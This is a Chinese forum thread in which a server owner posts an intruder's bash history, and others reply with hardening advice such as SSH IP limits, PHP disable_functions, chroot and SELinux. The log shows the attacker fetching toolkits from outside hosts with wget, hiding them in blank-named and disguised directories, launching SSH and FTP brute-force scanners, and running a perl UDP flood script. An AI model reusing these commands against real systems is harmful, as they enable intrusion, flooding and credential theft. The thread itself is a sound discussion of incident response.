服务器被人黑了，大家来评论看

theanswer

web:/home/userbak# vim .bash_history

perl 84.122.186.0 0 0
cd
perl 84.122.186.0 0 0
cd
ls
cd ..
ls
cd user
perl.exe 84.122.186.0 0 0
perl 84.122.186.0 0 0
perl udp.pl 84.122.186.0 0 0
df -h
ls
ls  ..
cd /tmp/
mkdir .ssh
cd .ssh
mkdir " "
cd " "
wget igotsluts.com/test/s.tgz
tar zxfv s.tgz
cd salma
./x 212.224 22
ps aux
cd /tmp/
mkdir .ssh
cd .ssh
ls
ls ?
cd salma
cd " "
mkdir " "
cd " "
cd salma
cd
ls
ls ?
cd
ls ?
ls
cd
mkdir /tmp
rm -rf /tmp/
ps aux
rm -rf /tmp/
mkdir /tmp
cd .ssh
rm -rf tmp
ls
ls ?
ls ..
cd ..
?
ls
cd user
ls
ls ?
cd /tmp/
mkdir /tmp/
mkdir " "
cd " "
wget igotsluts.com/test/s.tgz
tar zxfv s.tgz
cd salma
./x 94.75 22
ls
uname -a
ps -a
ps a
ps aux
ls
cd /tmp/
ls
cd .X11-unix/
ls
mkdir " "
cd " "
wget igotsluts.com/test/s.tgz
tar zxf s.tgz
ls
cd salma/
ls
./x
screen
./x 87.106 22
./x 83.221 22
w
passwd
ls
w
skill -KILL pts/2
w
skill -KILL pts/0
ls
ls -la
cat .bash_history
ls
ls
ls -la
cd " "
ls -la
cd salma/
ls
cat vuln.txt
w
ls
./x 210.3 22
ls
w
screen -r
cd ..
ls
rm -rf s.tgz
ls
cd ..
ls
/var/tmp
ls
cd /tmp
ls
cd /var/tmp
ls
ls -la
mkdir .oracle
wget igotsluts.com/test/s.tgz
tar zxvf s.tgz
ls
cd salma/
ls
wget www.bye.ro/screen
chmod +x *
ls
./screen -r
w
cd /var/tmp
ls
cd salma/
ls
nano x
vi xxl
chmod +x *
./x 210.3
./x 210.3 22
ls
rm -rf 210.3.ps.22 mfu.txt
./xxl
w
ls
cd /tmp
ls
ls -la
cd "
ls
cd " "
ls
ls -la
ls
cat vuln.txt
cd ..
ls
cd /home
ls
cd user/
ls
ls -la
cd /tmp ls -la
ls -la
cd /var/tmp
ls -la
cd .oracle/
ls
ls -la
cd ..
ls
w
rm -rf *
ls
cd ..
ls
rm -rf *
ls
wget www.bye.ro/fb.tar
tar xvf fb.tar
ls
rm -rf fb.tar
ls
rm -rf log
nano users
ls
./0-100 216
./200-255 216
cat log
ps ax
ls
./100-200 216
cat log
nano pass
cat log
cat log
nano users
cat log
cat log
ls
killal -9 ftp_scanner
killall -9 f
ls
killall -9 ftp_scanner
ps ax
ls
rm -rf log
./0-100 64
cat log

[ 本帖最后由 theanswer 于 2009-4-8 10:09 编辑 ]

itzykj

从哪进去的？

theanswer

囧的是也没找到从哪里进来的，没有得到root权限，

itzykj

php.ini
disable_functions
safe_mode
sshd_config端口与IP限制
网站后台及重要目录IP限制

jiang2798

看不懂 我的WIN2003经常被黑。。 （ ）

myfreeke

我可以帮你们解决服务器经常被黑的安全问题

huzi1986

把你的经验共享一下咯

godsad

看看chroot和selinux吧,web上的漏洞是防不住的

myfreeke

还是可以防的啦!